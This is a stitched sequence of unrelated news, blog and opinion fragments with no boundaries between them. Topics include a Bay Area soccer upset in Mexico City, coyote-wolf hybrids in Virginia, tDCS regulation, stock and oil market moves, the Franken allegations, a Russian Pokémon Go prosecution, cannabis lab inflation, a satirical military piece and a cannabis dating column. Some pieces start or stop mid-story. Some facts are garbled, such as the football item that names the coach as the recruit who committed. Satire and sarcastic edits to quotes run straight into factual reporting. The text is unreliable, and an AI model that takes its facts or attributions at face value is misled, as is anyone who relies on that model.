The next morning, the San Jose Mercury News led its story this way: "Defender Mark Semioli can tell his children some day that he shut down one of the world's legendary strikers, Hugo Sánchez. The rest of the San Francisco Bay Blackhawks can tell their grandchildren that they defeated one of the world's internationally recognized teams, Club América.
"By then, maybe, it won't hurt as much to admit that none of it mattered."
But for the players that traveled to Mexico City, the experience of playing at Azteca, the very ground where Pele and Maradona made World Cup history, is one they still vividly remember more than 20 years later.
Ayyan after giving a quick visit to UoK, took to Facebook to share her experience.
She posted, “ChipsNDips is a joint venture of Araib Khan & Abdullah Rizwan Sheikh students of ‘Department Of Public Administration’. They are two young energetic self made entrepreneurs who came up with a new unique french fries concept and created their own brand in a very short span to help out disable people by donating a certain amount of percentage from their profits. They invited me as the Chief Guest to do the inauguration for this amazing social cause”.
“After my team did some research on ChipsNDips we all were truly impressed with their activities so far because at this young age they are studying, working and helping out needy people which is definitely not an easy task to do. Ofcourse we decided to support them for this social cause because this is the real youth of Pakistan & the bright future of our nation,” she added.
Ayyan was given a warm welcome by the faculty and students of Karachi University. She also attended a short question answer session with the students.
While discussing about her recent controversy, she said, “Do not create any perception about anything on the basis of rumors they should inquire the real facts and then move forward with their vision, because I want our youth to have full confidence which will help them out to discuss their opinions about everything openly rather than implementing others opinions on themselves”.
All photos by Trey Barkett / provided by Warhol & Wall St / Change Starts Here.
Police accountability and community involvement is improving relations between the two, according to a public awareness campaign headed by Warhol and Wall Street.
The campaign, “Change Starts Here,” connects the public with real Ohioans who have been involved in the effort to improve community-police relations. Participants filled in the blank with their own idea about where change should start. Photos and videos of police officers, pastors, youth leaders and involved community members offer every perspective on the issue.
“Change means actions, start means now, and here can be anywhere,” said Yohannan Terrell, CEO of Warhol and Wall Street. “Change starts here means change actually needs to take place within all of us.”
Ohio’s Task Force on Community and Police Relations, first announced in 2014, accepted Warhol and Wall Street’s bid to launch a campaign that shows the public how relations have improved since then.
Riding through different parts of Ohio, photographer Trey Barkett captured images like Autumn’s, who filled in the blank, “Change starts when we have conversations before conversations need to be had.”
The idea was to let the people speak for the campaign that would educate other people. With that in mind, Terrell searched for a venue for the art that would allow for the most interaction. This need spurred a partnership between Warhol and Wall Street and the Short North Alliance so the art could be displayed during Gallery Hop, this Saturday, June 4.
“We viewed it as an important opportunity to showcase something that we think is an important issue, as well as some great work by a local artist,” said Betsy Pandora, Executive Director of the Short North Alliance.
Between 4pm and 10pm this Saturday, images and videos will be showcased in the former Rigsby’s space, and people can use the on-site photo booth to create their own “Change Starts Here” poster.
So far, Terrell said the message has been mostly about police accountability and transparency and more community involvement.
“A lot of the stuff we do is more reaction,” Terrell said. “Instead of being proactive, we’re reactive.”
These ideas look back on the deadly police-citizen conflicts Ohio has had. Participants use the police killings of Tamir Rice, from Cleveland and John Crawford III, from Dayton, as examples of this reactive nature.
“We really felt so passionate about this campaign that we were thinking, ‘How can we find a way where people can see this beautiful collection of powerful statements all at once so that they can really feel the impact of how these conversations were connected,” Terrell said.
Pandora said it turned out more artistic than anyone anticipated. Its starting point was findings from the taskforce’s collaborative report, released in 2015.
For more information, visit www.warholandwallst.com.
All photos by Trey Barkett / provided by Warhol & Wall St / Change Starts Here.
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About the Author Lauren Sega is the Associate Editor for Columbus Underground. She covers political issues on the local and state levels, as well as local food and restaurant news. She grew up near Cleveland, graduated from Ohio University's Scripps School of Journalism, and loves running, traveling and hiking.
Scientists already knew that some coyotes, which have been gradually expanding their range eastward, mated with wolves in the Great Lakes (map) region. The pairings created viable hybrid offspring—identified by their DNA and skulls—that have been found in mid-Atlantic states such as New York and Pennsylvania.
Now, new DNA analysis of coyote poop shows for the first time that some coyotes in the state of Virginia are also part wolf. Scientists think these animals are coyote-wolf hybrids that traveled south from New England along the Appalachian Mountains.
The study also identified another coyote migration route moving through the southern states.
"You have a situation where you have these two waves of coyotes coming into the mid-Atlantic, a terminus for coyote colonization," said study leader Christine Bozarth, a former research fellow at the Center for Conservation and Evolutionary Genetics at the National Zoo in Washington, D.C.
Northern Virginia in particular seems to be a convergence point for coyote migrations, Bozarth said—and the animals' numbers are increasing there, especially in suburban areas where food is more plentiful.
Versatile Coyote Already Widespread
Coyotes are originally residents of middle America, particularly between the Rocky Mountains and the Mississippi River, as well as parts of Canada and Mexico.
By the end of the 20th century, the versatile animal—which can eat almost anything, from shoe leather to fruit—had spread to nearly every corner of the U.S., even New York City.
The coyote is "one of the animals that will be left at the end, like the cockroaches, raccoons, and rabbits," Bozarth said.
For the new study, Bozarth and colleagues collected coyote scat samples in northern Virginia and extracted DNA. The team then compared the coyote DNA with that of representatives of every canid species found in eastern North America. (Get a genetics overview.)
The study, published October 17 in the Journal of Mammalogy, found evidence that Virginia coyotes mated with Great Lakes wolves but not with the rare red wolf, which is hanging on in just a few isolated spots in the U.S. South.
That's "good news for the red wolf," whose survival is already threatened by inbreeding, which reduces the species' genetic diversity, Bozarth noted.
Hybrid Coyotes Taking Down Deer?
For now, it's impossible to say how "wolfy" the newly identified coyote-wolf hybrids really are, Bozarth added—just that "at some point down the line, a coyote mated with a Great Lakes wolf-even generations ago."
Scientists have not yet studied the behaviors of the Virginian hybrids to see if they're killing bigger wildlife or otherwise changing the ecosystem, Bozarth added.
But other East Coast hybrids seen alive or identified by their remains are noticeably larger, with more wolf-like skulls, jaws, and teeth, Bozarth noted. (See pictures of new hybrid species appearing in the warming Arctic.)
Given this, coyote-wolf hybrids "should be able to do things like take down deer, which a little, scrappy Great Plains wily coyote would not be able to do on its own," Bozarth said.
Indeed, the research highights "just how successful and adapted these hybrids are to the eastern forests," said Roland Kays, curator of mammals at the New York State Museum in Albany.
For instance, Kays's research on the previously known eastern hybrids has shown that a third of their diet is deer—a much higher proportion than in western states.
Coyotes in Mid-Atlantic "Here to Stay"
Jonathan Way, a wildlife biologist and head of the Massachusetts-based education group Eastern Coyote Research, called the new paper "timely."
Coyotes coming from the west are moving not only through the Great Lakes but also south of the region, through Ohio. But until now, it was unknown how that southern route of colonization was influencing coyotes in the mid-Atlantic region, Way said by email.
According to Way, these two fronts of coyote expansion have probably made the Virginia animals "hybrids of a hybrid."
That's because the Virginia hybrids are most likely a combination of northeastern coyote-wolf hybrids, which are slightly bigger and more wolf-like, and nonhybrid coyotes coming through Ohio.
Steve Greatwood has landed a verbal commitment.
Poutasi confirmed the news to DuckTerritory.com Friday evening.
"Yes, I have officially Committed to the University of Oregon," said Poutasi. "All I can say is thank you to everybody who never gave up on me."
The 6-foot-4, 300-pound lineman from Desert Pines high school in Las Vegas picked the Ducks over offers from Washington State, UNLV, Nevada, Hawaii, and San Diego State.
Oregon offensive line coach Steve Greatwood made a visit to Vegas earlier this week and then extended the offer Friday.
Poutasi will visit the Ducks officially in January after the dead period after not getting to Eugene this weekend.
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Just a few years ago, the idea of electrically stimulating your brain in the comfort of your own home would have sounded pretty weird, and probably like a bad idea.
But the practice of brain-zapping—in particular, an easy-to-pull-off technique called transcranial direct current stimulation (tDCS)—has quickly advanced from labs to living rooms. DIYers are building their own devices and trading tips online, while startups are bringing out consumer products.
With that as the backdrop, a group of neuroscientists and manufacturers met in New York City on Sunday 28 August to discuss potential regulations for brain stimulation devices sold directly to consumers. “Neuromodulation is already here—it’s on Amazon, it’s in the coverage of the Olympics, it’s everywhere,” said conference organizer Marom Bikson, a professor at the City College of New York. “But there isn’t a cohesive message from scientists or industry about regulations. As a community, we’re behind.”
The group agreed on Sunday to suggest guidelines to the U.S. Food and Drug Administration (FDA), which sets rules for medical devices. The FDA has been discussing this possibility of regulating neurotech for at least two years, said James Giordano, chief of the neuroethics studies program and a professor of neurology at Georgetown University in Washington, D.C. “I’ve been part of those discussions,” Giordano said.
While tDCS isn’t the only type of noninvasive brain stimulation, it’s the simplest: The user just presses a couple of electrodes to the scalp to send a tiny amount of current through a specific region of the brain. The effects depend most obviously on where the electrodes are placed, but also on factors such as current amplitude, stimulation duration, and existing conditions in the user’s brain.
Neuroscientists are testing tDCS’s effects on every neural and psychological disorder you can imagine, and are also investigating its effects on cognition, emotion, and behavior. It’s fair to say it’s a hot topic of research: The chart at right, from the PubMed database, shows the number of papers published on tDCS over the years. In 1989, there were two such papers published; last year there were 608.
In Europe, tDCS was recently approved for depression and chronic pain. While the FDA has yet to follow suit and approve its use in the United States for any medical conditions, such a move seems inevitable. And since tDCS can be easily administered by a portable device, clinicians are already thinking about how at-home medical use could safely be permitted.
At the meeting on Sunday, several researchers explained how at-home clinical treatment could work: Physicians could control “dosage” by providing a unique keycode for each stimulation session that allows activation of the device, and could use Skype to supervise patients as they familiarized themselves with the gear. Researchers also stressed the need for standardized devices that position the electrodes properly on the user’s head.
But consumers using products they buy on Amazon need a different set of protections, Giordano told IEEE Spectrum in an interview.
Some of the first products that came on the market made inaccurate claims about their benefits, Giordano said. The manufacturers made statements based on scientific studies that used research-grade tDCS equipment under carefully controlled conditions. But the companies hadn’t carried out those same studies using their own products.
“That’s like saying, ‘A Maserati can go 200 miles per hour. The Maserati is a car, and I also make a car, and therefore my car goes 200 miles per hour,’” Giordano said. “Oh, and also, I’m not using my car on a racetrack, and I don’t have an experienced race car driver behind the wheel.” As a first step toward a responsible marketplace, Giordano said, manufacturers must be required to clearly define and support their claims, and to carefully communicate what their devices can and cannot do.
The group’s guidelines will also recommend that people with neural or psychiatric conditions consult their physicians before using any brain stimulating gadget. That category includes people with conditions like depression, anxiety, and addiction, who are already turning to DIY treatments using homemade or commercially available tDCS rigs.
Finally, they’ll recommend that neuromodulation devices not be used by children unless a physician explicitly recommends such use. There are too many unknowns regarding its effects on the developing brain, Giordano says.
Making claims about a commercial device for home use, based on scientific studies that used research-grade tDCS equipment under carefully controlled conditions, is like saying, “A Maserati can go 200 miles per hour. The Maserati is a car, and I also make a car, and therefore my car goes 200 miles per hour.” —James Giordano, Georgetown University
Setting such regulations won’t stop people from doing whatever they want with devices. But then it becomes a matter of “buyer beware,” says Giordano. “We’ll tell you how to use something properly, and if you chose to deviate from that, that’s your choice,” he says. “Sears can sell a chain saw with perfectly good intentions that it only be used to cut wood, but some idiot is going to juggle it.”
The group that met on Sunday included representatives of a few companies that either sell a tDCS product now or intend to launch one soon. The speakers made the case that all manufacturers should get on board with these proposed regulations, because setting clear rules for their products’ use can protect them from lawsuits. But such widespread buy-in may be wishful thinking.
Giordano named two of the companies represented on Sunday as exemplars of what the field should aspire to: Halo, whose brain-stimulating gadget for athletes will soon go on sale, and Soterix, which sells tDCS units for medical and research use only. These companies, Giordano said, are doing their own research to back up their claims. “Those two companies are doing it right,” Giordano said. “The implication is that other companies are not doing it as well.”
Some companies claim not only that their devices treat disorders like depression, anxiety, addiction, and chronic pain, they also boast of improving cognition, memory, and social skills. Many DIYers seem most interested in these enhancement possibilities of tDCS.
Oil prices rebounded sharply after hitting five-year lows, lifted by data suggesting that tumbling prices may have started affecting drilling activity in the fast-growing U.S. shale oil industry.
On Wall Street, Apple (AAPL.O) shares were down 2.4 percent after dropping as much as 6 percent, and the stock was the most actively traded on Nasdaq. The cause of the decline was not yet clear, though traders pointed to high-speed algorithmic trading programs as a potential culprit. Shares of U.S. retailers declined after Thanksgiving weekend in-store sales failed to impress. The S&P 500 retail index .SPXRT was down 1 percent.
The day’s data added to investor caution. Chinese purchasing managers (PMI) data showed manufacturing slowed in November, suggesting the world’s second biggest economy was continuing to lose momentum. Factory activity also slowed in France and Germany.
“The places where we are seeing strength are in the more defensive areas of the (stock) market. That’s tied to the perceived weakness in global growth,” said Kevin Caron, market strategist at Stifel, Nicolaus & Co in Florham Park, New Jersey.
The U.S. dollar rose to its highest level against the yen since July 2007, hitting 119.15 yen JPY=EBS on the EBS trading platform, immediately after Moody's lowered its rating on the world's third biggest economy by a notch to A1 from AA3, citing Japan's fiscal problems. The dollar ran into profit-taking and was last trading at 118.20 yen, down 0.4 percent on the day.
The Dow Jones industrial average .DJI fell 18.28 points, or 0.1 percent, to 17,809.96, the S&P 500 .SPX lost 10.12 points, or 0.49 percent, to 2,057.44, and the Nasdaq Composite .IXIC dropped 48.65 points, or 1.02 percent, to 4,742.98.
MSCI's global share index .MIWD00000PUS was last down 0.5 percent. European shares .FTEU3 ended down 0.5 percent. Emerging market shares tracked by MSCI .MSCIEF fell 1.7 percent.
World oil prices are down 40 percent since June, largely on abundant supply. OPEC last week declined to cut production to raise prices. But with data suggesting that lower prices may have started to affect drilling activity in the U.S. shale oil industry, there are signs supply could be affected.
Brent crude LCOc1 fell as low as $67.53 a barrel, its lowest level since October 2009, before reversing course to rise to $72.40, up $2.25. U.S. crude oil CLc1 was up $2.61 at $68.76.
U.S. Treasuries extended a six-session rally, buoyed on the worries about global growth.
A customer uses the nozzle of a petrol pump at a gas station near Prague August 23, 2012. REUTERS/David W Cerny
The benchmark 10-year Treasury note US10YT=RR was up 5/32 to 100.25 in price to yield 2.1762 percent versus 2.196 percent on Friday.
“The news overseas has been bullish for Treasuries,” said Jake Lowery, a portfolio manager at Voya Investment Management in Atlanta. “The weaker numbers out of Germany and the downgrade of Japanese government has put some pressure on risk markets.”
This latest marketing stunt has been branded irresponsible and dangerous by the government. In a statement made yesterday, the government said that the campaign might lead to excessive speeding and dangerous driving by people who think they can get away with it.
"If they want to foot what is likely to be a hefty bill, that is their choice," a Department of Transport spokesman said. "But we cannot condone something that so obviously encourages people to break the law and do something dangerous."
The spokesman went on to offer a possible worst-case scenario. "Basically they are encouraging people to speed and to break the law. I just hope for their sakes that none of these people ends up knocking down a child," he said.
But Acclaim is pleading innocence, arguing that it only wanted to "ease the financial pain a bit," and that this is all in the name of promoting the game – which gives people a legitimate avenue to speed as fast as inhumanly possible. "Taking the side of people who enjoy driving fast, it therefore seemed quite logical to offer people caught by camera something that would make them feel Ok about it," spokesman Shaun White explained.
Acclaim's marketing stunts are legendary in the industry for their tastelessness and propensity for headline-grabbing controversy, but also for their originality. Recent examples include "deadvertising", which saw the publisher bidding for advertising space on tombstones in exchange for help with funeral costs, and "Identity Marketing", which saw the publisher buy the right to rename five gamers to "Turok" for a whole year by deed poll. Both stunts won priceless publicity for the games in question, even if Daily Mail readers were up in arms.
With news of more superheroes joining a crowded field over the next few TV seasons, we here at FanboysInc, would like to offer a guide to genre on TV in 2014-15. In the last few days, we’ve learned that Warner Bros. is looking to aggressively expand its pantheon of TV heroes by developing Supergirl and Teen Titans projects for upcoming seasons.
Warners has had a much more concerted effort of developing its TV projects, relying primarily on Greg Berlanti, Marc Guggenheim, Andrew Kreisberg, and Geoff Johns to spearhead the various efforts. Akiva Goldsman has also had a long history of involvement in DC Comics projects and is reported to be heavily involved with Titans’ development with TNT.
Despite this expansion, DC Comics and Warners have maintained that none of the projects share the same world, except for Arrow and The Flash of course. We are not likely to ever see Constantine or Gotham crossover with each other, nor any of the other shows currently on the primetime landscape.
The most veteran show for Warners is Arrow and the Green Arrow origin series is set to premiere its 3rd season on October 8th on the CW at 8 PM.
http://youtu.be/NWQDZ4kbpgU?list=PL6abPzY300GXdu2d6uI9ADJZD9QtTxV88
Gotham begins Sept. 22 on FOX
The Flash launches Oct. 7 on CW
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Constantine starts Oct. 24. on NBC
Marvel is pushing forward with their moto that “everything is connected” by creating essentially season-long interstitial subject matter for their films. Each episode so far of Marvel’s Agent of S.H.I.E.L.D. has been an extended commercial for what has been happening in the world of Thor, Iron Man, and Captain America between their solo films and the Avengers movies. The show is set to return on ABC on September 23, at its new time, 9PM.
Waiting in the wings is Agent Carter which will focus on Captain America’s former love interest, and her adjustment to post-war life without Cap as she helps build S.H.I.E.L.D. Agent Carter will be an ABC mid-season replacement for Agents of S.H.I.E.L.D. when they go on hiatus (likely in January 2015).
Also coming in 2015, Netflix will premiere Daredevil as the introductory chapter to Marvel’s The Defenders saga. Subsequently, Netflix will produce 3 other series based on Marvel Comics characters: Jessica Jones. Luke Cage, and Iron Fist, culminating in an Avengers-like series called The Defenders. Little is known about the Netflix series, but they will definitely be connected to the larger world while telling more intimate portraits of the classic Marvel characters than could be done on broadcast TV.
CLOSE Half think Franken should resign. Buzz60
Two more women have come forward with allegations that Sen. Al Franken, D-Minn., touched them inappropriately, bringing to four the total number of women saying he made inappropriate sexual advances.
The two women, both of whom spoke anonymously to HuffPost, said Franken touched their buttocks during political events in Minnesota in 2007 and 2008.
Last week, radio host Leeann Tweeden said Franken in 2006 "forcibly kissed" her and later pretended to grope her breasts for a photo while she was sleeping. The incident took place while the pair were on a USO tour in the Middle East to entertain U.S. troops.
Tweeden's accusation made Franken the first senator to be publicly accused of sexual assault or harassment in the wake of the Harvey Weinstein harassment scandal.
Arianna Huffington: Al Franken no more groped me than I strangled him
More: Former women staffers at SNL release statement in support of Sen. Al Franken
On Monday, Lindsay Menz, a 33-year-old from Texas, said the senator pulled her in close and grabbed her buttocks while the two were posing for a picture at the Minnesota State Fair in 2010.
On Wednesday, HuffPost reported that one of the women said Franken groped her while they posed for a photo after a 2007 event in Minneapolis hosted by the Minnesota Women’s Political Caucus.
The second woman who spoke to HuffPost said Franken cupped her butt with his hand at a 2008 Democratic fundraiser in Minneapolis, then suggested the two visit the bathroom together.
“My immediate reaction was disgust,” she said. “But my secondary reaction was disappointment. I was excited to be there and to meet him. And so to have that happen really deflated me. It felt like: ‘Is this really the person who is going to be in a position of power to represent our community?’”
In a statement to HuffPost, Franken said, “It’s difficult to respond to anonymous accusers, and I don’t remember those campaign events.”
Follow Greg Toppo on Twitter: @gtoppo
A 22-year-old Russian blogger was detained in September after publishing a video he took of himself playing Pokémon Go inside the Church of All Saints in Yekaterinburg, Russia. Prosecutors requested a sentence of 3.5 years in jail on Friday for "inciting religious hatred," The Washington Post reported, and the final verdict will be delivered May 11.
Ruslan Sokolovsky posted the video in question in direct response to news that people can be fined or imprisoned in Russia for playing Pokémon Go in churches. Along with trying to catch Pokémon (and finding out that the church is in fact a PokéStop), he joked about Jesus in the video.
"But, you know, I didn't catch the rarest Pokémon that you could find there — Jesus," he said in the video. "But I couldn't help it. They say [he] doesn't even exist, so I'm not really surprised."
Sokolovsky has been on house arrest since being detained in September.
SEE ALSO: 10 very inappropriate locations for Poke Stops in Pokémon Go
After prosecutors requested his prison sentence Friday, Sokolovsky compared his punishment to those who were imprisoned for joking about communism under Stalin's rule, Meduza reported.
"I may be an idiot, but I am by no means an extremist," Sokolovksy said.
The charges levied against Sokolovsky stem from the arrest of two members of the punk collective Pussy Riot for staging a protest against Vladimir Putin at a Russian Orthodox church. After those arrests, the Russian government created a law that basically made it illegal to offend religious people.
Back in September, Amnesty International called Sokolovsky's arrest an example of Putin's free speech crackdown.
In all laboratory analyses, a degree of variation will always exist between the results of any two identical samples. For example, two environmental laboratories that are looking for the toxic metal lead may find slightly different amounts of lead in the same sample. In the environmental testing industry, this variation is kept at a negligibly small value via strict quality control measures which makes slight differences a non-issue.
In the cannabis industry, which is an industry with highly variable regulation, differences of over 30% are detected routinely. While plant products always contain some natural variation (typically less than 15%), much of this variation is due either to negligence or intentional manipulation. In this article, we will examine some of the different sources of variation in THCA/THC reporting. We use THCA/THC reporting as an example, although the same principles hold for any potency or contamination analysis.
As cannabis becomes a mainstream medical option and more patients come to rely upon it, there will be a need to increase the precision and accuracy of cannabis laboratories. This will most likely be done by an increase in laboratory standards, training and qualification, certification, and proper laboratory audits.
Intentional Inflation
“Never attribute to malice that which is adequately explained by stupidity” Hanlon's Razor
One of the most important causes of the wide variation in cannabinoid reporting is inflation. Reporting inflation is a process by which laboratories manipulate or modify the process of their analysis or reporting to increase the final reported value. This often comes at the expense of accuracy, and is motivated by a desire to gain an edge over competition. Laboratories are also pressured to inflate potency numbers by their clients, who are in turn pressured by market forces and unscrupulous distributors. These clients use high THC numbers as a sales tactic to sell products and increase prices. The patients and customers who spend money on mislabeled products are ultimately the ones who suffer from this bad practice.
But how can we confidently say that inflation is occurring? How do we know that variations in lab results are not the product of incompetence? The answer lies in the variation data. Close examination can tell whether the variation appears random or manipulated.
As an example, we used some reported THCA values from medical flowers sold in the state of Nevada in 2016. At the time there was concern among the public that numbers were being manipulated, as products were being sold with labels claiming over 35% THCA in some cases, which had never been seen before anywhere and also doesn’t make biological sense. Plants don’t produce such a disproportionate amount of one chemical.
As a result of this information, an inquiry was called for and the state set up a round-robin program to assess the performance of different laboratories by distributing the same homogenized sample to all parties and assessing the variation. THC results in Nevada have since stabilized at believable values.
Figure 1: Reported lab results for strains in Las Vegas versus the national average as derived from Confident Cannabis databases.
If incompetence could explain the variation seen in Figure 1, we would see random variation in either direction, both positive and negative. What we see instead is a manipulated appearance, with Las Vegas numbers almost exclusively appearing above the national average. The only exception is the pre-98 Bubba Kush, which is 0.1% lower than the national average.
Brock told the AP that he thought Sanders’ new “America” ad, which uses Simon and Garfunkel’s song of the same name in lieu of spoken words, was focused on white voters. The ad shows Sanders greeting mostly white supporters on the campaign trail, with the crowds’ sizes slowly increasing.
Brock characterized the ad as a “significant slight to the Democratic base.”
“From this ad it seems black lives don’t matter much to Bernie Sanders,” Brock told the AP.
Brock, formerly a conservative journalist, runs numerous super PACs supporting former Secretary of State Hillary Clinton’s presidential campaign.
The Sanders campaign fired back in a statement to the AP, saying Clinton should be “ashamed” of her association with Brock.
“Twenty-five years ago it was Brock—a mud-slinging, right-wing extremist—who tried to destroy Anita Hill, a distinguished African-American law professor. He later was forced to apologize for his lies about her,” Sanders campaign spokesman Michael Briggs told the AP. “Today, he is lying about Sen. Sanders.”
The Portland Avenue bridge over Interstate 94 is scheduled to reopen at 6 p.m. Friday, making it easier to get out of downtown Minneapolis.
Along with the bridge's opening, Portland Avenue S. between 16th and 17th Streets will reopen. At the same time, the segment of Portland between 18th and 19th Streets that changed to accommodate detoured traffic will revert to a one-way southbound street.
The Park Avenue bridge won't reopen until sometime in September, so commuters will keep using the alternate routes in play since construction started in May. The suggested detour for Park Avenue is to follow E. Franklin Avenue to Chicago Avenue S., then head back to Park Avenue S. via 17th Street.
The $5.7 million projects include building new bridge decks and railings, replacing beams and upgrading pedestrian crossings at the intersections of Park and Portland Avenues at 17th and 18th Streets to meet accessibility standards.
After once again working through padded contract drills, trying to simulate coming off physical screens, Thomas went to the next stage of his workout.
In the one-on-one drill, the first that reporters have seen during this thorough recovery from hip injuries suffered last season in Boston, Thomas started on offense and then played defense, alternating for a few reps before finishing his session with some free throws.
At this point in his recovery, it's about making small gains before being ready for his regular season debut. Still, each day Thomas is doing at least one thing different.
Over the weekend, he ran faster than head coach Tyronn Lue had seen. Following Wednesday's shootaround, hours before the Cavs' game against the Brooklyn Nets, Thomas took contact for the first time after doing a few change-of-direction drills. On Friday, he was able to play one-on-one.
Soon enough, Thomas will be able to practice with his teammates. Although, according to Lue, that hasn't been discussed.
“We really can’t explain it,” said Pentagon spokesman Peter Cook, “but as of early this morning, we’re suddenly seeing a 5,000 percent spike in the number of troops requesting international interservice transfers. I have no idea why.”
After Duffel Blog filed a Freedom of Information Act request to access military personnel records, an administrative clerk at the Pentagon told reporters, “Fuck it, just take the files, we’re all gonna die in a massive nuclear strike from North Korea anyway.”
According to the files, most of the troops requesting transfers were located at bases in California, Washington, Hawaii, Maryland and Virginia. Historic data reveals that the majority of interservice transfer requests come from service members stationed in North Dakota and Ohio.
Meanwhile, up in Canada, the CAF Recruiting Command met its goals for the first time ever.
“We’re just super happy up here to have so many Yanks interested in applying. I nearly dropped my toque when I saw the numbers!”
While Canadian citizenship is a requirement for both active and reserve military service, that did not seem to deter any US troops from putting in their applications.
“I’m going to find me a sweet piece of Canadian ‘arse’ and get married. See, I’m learning the lingo already!” said Lance Cpl. Steve Johnson, a Marine currently stationed at Camp Pendleton.
Diesel is cleaner, diesel is cheaper. We’d be saving money as families and as a nation. We’d lower our dependency on foreign oil – because there’s hardly anything easier and cheaper to produce than biodiesel. Yet, new biodiesel refineries are closing because of underutilization.
If you know anyone with a diesel-powered vehicle – who has tried biodiesel – they’ll tell you their critter ran better and cleaner with the veggie product than the stuff refined from petroleum.
Yet, almost every manufacturer who sells a diesel-powered car or small truck somewhere else in the world – is afraid to market it in the United States. Something else we can thank General Motors for – the crap diesel cars they sold decades ago ruined the market for the fearful.
Of course, like Toyota did with the hybrid, manufacturers like Audi [and Volkswagen] have the smarts and cojones to get the jump on everyone else and establish themselves as the source for clean, powerful, economical diesel-power ahead of all the others who could be doing the same.
Sigh.
Rep. Steve King (R-Iowa) dismissed the concern over global warming, labeling it a "religion" and claiming efforts to address climate change are useless. "It is not proven, it's not science," King said Tuesday, according to The Messenger of Fort Dodge, Iowa. "It's more of a religion than a science."
He said that even if carbon dioxide in the atmosphere causes the earth to warm, environmentalists only look at the bad from that, not the good. "Everything that might result from a warmer planet is always bad in (environmentalists') analysis," he said. "There will be more photosynthesis going on if the Earth gets warmer. ... And if sea levels go up 4 or 6 inches, I don't know if we'd know that."
"Photosynthesis starts to shut down at about 35 degrees C [95 degrees F], and plants often start dying at temperatures above 40 degrees C [104 degrees F]," [ Geologist High Priest Paul] Wignall said. "This would explain why there's not much fossil record of plants at the end-Permian— for instance, there are no peat swamps forming, no coal-forming whatsoever. This was a huge, devastating extinction."
Did he really mean to slam religion Global warming is just like religion, it's not proven and false! Okay, I wouldn't expect that sort of thing from a right-wing Christianist Republican, but what the hey. The occasional bit of honesty can be surprisingly refreshing.Photosynthesis goes up? To a certain point. And we're beyond that point . Heck, the kinds of temperatures we're headed toward caused a mass extinction in the past.That's some fire-breathing preaching! And that's the "good" part of climate change.
So to recap, global warming is bullshit, like religion. But even though it's bullshit, it actually is getting hotter, but who cares because plants will generate more photosynthesis until they don't and die. Oh, and no one will notice if Miami is underwater.
How can I tell if the guy I’m crushing on is a stoner too?
Dear Crushing Stoner Seeks Stoner,
What are you, a cop? Hmm. If you are not a law enforcement officer, why do you care? Being comfortable around unelevated people is a useful skill and makes the need for similar session patterns almost nonexistent. Variety is the spice of life, so why not dabble in dating a person who doesn’t enjoy cannabis like you do! I know, it’s wild to think there are people who don’t, but just think—some people don’t like ice cream. Not even vegan ice cream. Mind blown, eh?
Throw caution to the wind and embrace your crushes as they are. Your current position is one of my favorite places to be—crushing on someone who seems perfect because you don’t know them well enough. Enjoy it to the fullest! I would even highly recommend you don’t find out if they like you or cannabis sativa. Just let them be an elusively perfect sex panther at the edge of your life and fall asleep thinking about holding their hand.
In all honesty, dating non-stoners might not work if you are committed to a wake-n-bake lifestyle, but it could be pretty darn swell if you always date broke people and never learned to share your stash. The only potential downside I see to dating a toke-not is if your dope-free friend makes judgments about your lifestyle choices. Not cool. Let’s define the word stoner for the purpose of this article. Those who really like cannabis? That’s the only defining feature of a stoner in my opinion. No negative connotation. If someone tries to stigmatize you for loving cannabis, say “Hah” and smile. Awkwardly, for a long time.
There are people all over the cannabis-enjoying spectrum. Really, you just have to date someone who isn’t like my mom—someone who won’t look over their glasses with judge-y eyes when they know you’ve had a nice session before dinner. On another note, while I don’t necessarily suggest that you restrict your dating pool to fellow bong-toting cannabis cuties, it would be pretty cool if stoners procreated en masse and the world became populated with friendly pot-fiends. Being a stoner is genetic, right? On the paternal side I assume based on experience.
Are you at work having to look like a person who does not love THC-laced brownies? Or unable to sit close to your crush at school? I’ve found the following trick to be useful and have even used it at the grocery store and on the train. I take a token item out of my bag (papers work well for this) and I either pretend I’m looking for something in my bag and quickly set them on top of it or I clumsily drop them on the ground and walk away. If the object of your affection instantly recognizes rolling papers even from the corner of his eye and he’s into you, he will proceed to say something like, “You dab?!”
If the person you are crushing on is at school, I think you should just go up and smell him very deeply. If you want to be less creepy, you could wear a token stoner item, I guess. If you don’t feel comfortable wearing a Bob Marley t-shirt and maybe you shouldn’t, you could wear a glass pendant or something more subtle. It has to be a known identifier, though.
I also often doodle pot leafs while sitting next to someone alluring. It is such a lazy and amazing way to hit on someone. If they are into you and smoke weed, they will break the ice with comments about your artistic ability. Now if you end up drawing cannabis on your napkin next to a cop, you could say it was a Japanese maple leaf and then proceed to flirt with him. I have this strange impulse to hit on every police officer I meet. I mean, like even if they aren’t trying to give me a speeding ticket.
Reflecting on my response, I guess my answer is really more about how to pick up a stoner than how to tell if someone is a stoner, but that is really what you wanted to know anyways, isn’t it?
Maybe next time I will tell you how to find the person at the party with the best weed. (Hint: refer to the beginning of the last paragraph, repeat with everyone there.)
The Planned Parenthood video has received (and deserved) wide coverage. It should been seen by all who can handle watching it. Actually, if you care about justice, I think you should take the time to watch the whole video. The entire unedited version is available, despite many only referencing a “heavily edited” version.
Many have commented and that's encouraging. Yet, some have been conspicuously absent, when they've spoken up on so many other issues.
Where Are They?
In my last post, I was very clear the video does not say quite what the "Center for Medical Progress" wants it to say. However, along the same lines, the video doesn't say what Planned Parenthood wants it to say either.
There are plenty of people pointing out the discrepancies in both statements, but the people who are strangely silent are the leaders of the Democratic Party and some progressive Christians who are often aligned with them.
That's not my opinion alone—Christopher Hale said as much in the Washington Post:
To date, no high-ranking Democrat in the United States has commented on the video. That’s unfortunate, because progressives should be leading the fight against this grotesque act of selectively removing and preserving aborted fetuses’ organs for scientific use... Deeply rooted in the foundation of our nation is the belief that every human being has dignity and the right to live in that dignity. As progressives, we further believe that the government plays a crucial role in protecting that dignity, especially among those who face adverse societal conditions: the poor, the unemployed, the uninsured, immigrants, the LGBT community — and yes — pregnant women and their unborn children.
And he is right. The silence has been deafening.
Some Recent History
Perhaps this can be explained, at least in part, by the Democratic National Convention meeting in 2012 at which abortion had become such a central element of the platform and convention.
At that time, I wrote:
In 1992, President Clinton talked about making abortion "safe, legal, and rare." Now the DNC cheers its mention—dozens of times—and never mentions the "rare." Perhaps the cheering points show us that the "rare" part was just a talking point from another era.
It's also worth noting that Cokie Roberts of NPR, hardly a bastion of conservatism, expressed the same shock that I did:
"I think this Democratic Convention was really over-the-top in terms of abortion. Every single speaker talked about abortion," Roberts said Sunday on ABC's "This Week."
I tweeted this at the time:
